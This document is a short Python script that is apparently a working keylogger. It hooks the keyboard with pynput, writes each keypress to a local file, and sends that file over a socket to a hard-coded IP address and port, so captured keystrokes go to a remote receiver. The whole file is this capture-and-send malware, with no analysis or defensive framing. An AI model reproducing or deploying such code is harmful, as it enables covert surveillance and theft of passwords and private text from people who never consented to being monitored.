import socket
import os
from pynput import keyboard



SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step


# the ip address or hostname of the server, the receiver
host = "10.4.27.243"
# the port, let's use 5001
port = 5001
# the name of file we want to send, make sure it exists
filename = "data.txt"
# get the file size
filesize = os.path.getsize("data.txt")



# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode())

def sendfile():
    # start sending the file
    with open(filename, "rb") as f:
        while True:
            # read the bytes from the file
            bytes_read = f.read(BUFFER_SIZE)
            if not bytes_read:
                # file transmitting is done
                break
            # we use sendall to assure transimission in 
            # busy networks
            s.sendall(bytes_read)
    # close the socket
    #s.close()

#-----------------------------------------------------------


def on_press(key): 

    if str(key) == 'Key.enter': 
        text_file = open("data.txt", "w")
        text_file.write("\n")
        text_file.close()
        sendfile()
        
    elif str(key) == 'Key.space': 
        text_file = open("data.txt", "w")
        text_file.write(" ")
        text_file.close()
        sendfile()

    elif str(key) == 'Key.backspace':
        print("Invalid")

        
    else:
        text_file = open("data.txt", "w")
        text_file.write(('{}'.format(key)).replace("'", ""))
        text_file.close()
        sendfile()

  

def on_release(key): 

    #print('Key {} released.'.format(key)) 

    if str(key) == 'Key.esc': 

        print('Exiting...') 

        return False 

  

with keyboard.Listener( 

    on_press = on_press, 

    on_release = on_release) as listener: 

    listener.join()


#-----------------------------------------